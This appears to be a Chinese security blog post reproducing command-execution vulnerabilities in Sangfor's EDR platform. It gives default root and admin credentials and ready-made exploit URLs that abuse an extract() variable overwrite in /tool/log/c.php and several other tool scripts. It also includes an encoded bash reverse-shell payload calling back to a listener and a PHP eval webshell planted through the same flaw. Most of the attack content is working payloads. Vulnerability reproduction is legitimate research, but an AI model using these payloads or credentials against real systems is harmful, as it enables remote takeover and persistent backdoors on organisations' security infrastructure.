深信服终端检测响应平台 EDR 漏洞复现
今年 HW 深信服的 EDR 爆出了一些很低级的漏洞,也看到网上不少人再吐槽,国光也忍不住来分析复现看看,不过本文略水,写这篇文章的时候还不够宁静。
基本配置信息
网上地下流传的深信服的 EDR ISO 文件实际上是 CentOS7 镜像,下面国光简单分享记录一下相关信息,然后面看到的朋友少走弯路。
首先 ISO 安装的话,不要使用快速安装,直接挂载即可,相关的账号密码为:
用户名 | 密码 |
---|---|
root | edr@sangfor |
安装完成默认是静态 IP,得配置一下 DHCP IP 即可:
vim /etc/sysconfig/network-scripts/ifcfg-eth0
主要修改下面部分
BOOTPROTO=dhcp
然后删掉 IPADDR、GATEWAY 和 NETMASK 等静态 IP 相关的设置,重启一下网络服务即可:
service network restart
查看 IP 地址,浏览器直接访问即可访问到前端登录界面:
初始默认的用户名和密码都为:admin
搭建好之后 直接开始复习之前网上爆出来的漏洞信息吧
/tool/log/c.php
首先$show_form
接受用户输入请求:
跟进这个函数,发现是经典的extract
变量覆盖 ,参数值完全可控……漏洞:
所以最终可以构造如下 Payload:
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&path=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&row=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&limit=id
这样执行命令不是很方便,可以选择 bash 反弹 shell 出来,或者直接上传一个 webshell,下面简单来尝试一下。
- Bash 弹 Shell
首先本地开启 nc 监听端口:
➜ ~ ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
然后准备一个反弹 shell 命令:
bash -i >& /dev/tcp/10.20.24.244/2333 0>&1
Base64 编码为:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx
因为出现了+
号,浏览器会进行 URL 解码,+
会变成空格,所以我们得把 +
首先进行 URL 编码一下,最后的 payload 就是如下格式:
https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx"|base64 -d|bash
最后执行完即可成功 nc 上线,然后就可以执行任意命令了:
- 直接写入 Webshell
echo '<?php eval($_REQUEST[1]);?>' > shell.php
Base64 编码 & +
编码:
ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA==
最终 payload 如下:
https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA=="|base64 -d|bash
但是有毒的是,这个 webshell 执行起来并不是那么顺手,很多命令依然无法执行,而且 AntSword 也无法连接,哭了。
/tool/php_cli.php
这个文件的功能默认无法使用,因为一开始就会判断 enable_dc_tool
文件是否存在,其中 ldb_ext_root()
的路径位置为:
/ac/dc/ldb/
下面是详细的代码:
但是假设存在这个文件的时候,下面就会有一个类似于 /tool/log/c.php
的中漏洞一样,也是存在代码执行的,不过比较鸡肋,没有利用价值:
执行效果如下:
所以最终可以构造如下 Payload:
https://xxx.xxx.xx.xx/tool/php_cli.php?code=system(id);
https://xxx.xxx.xx.xx/tool/php_cli.php?strip_slashes=system&code=id
/tool/ldb_cli.php
这个文件存在的问题也和上面的 /tool/php_cli.php
相似,如果存在/ac/dc/ldb/php/enable_dc_tool
这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:
/tool/mdd_sql.php
这个文件存在的问题也和上面的 /tool/php_cli.php
相似,如果存在/ac/dc/ldb/php/enable_dc_tool
这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:
参考链接
支持一下
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
![]() |
支付宝
![]() |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光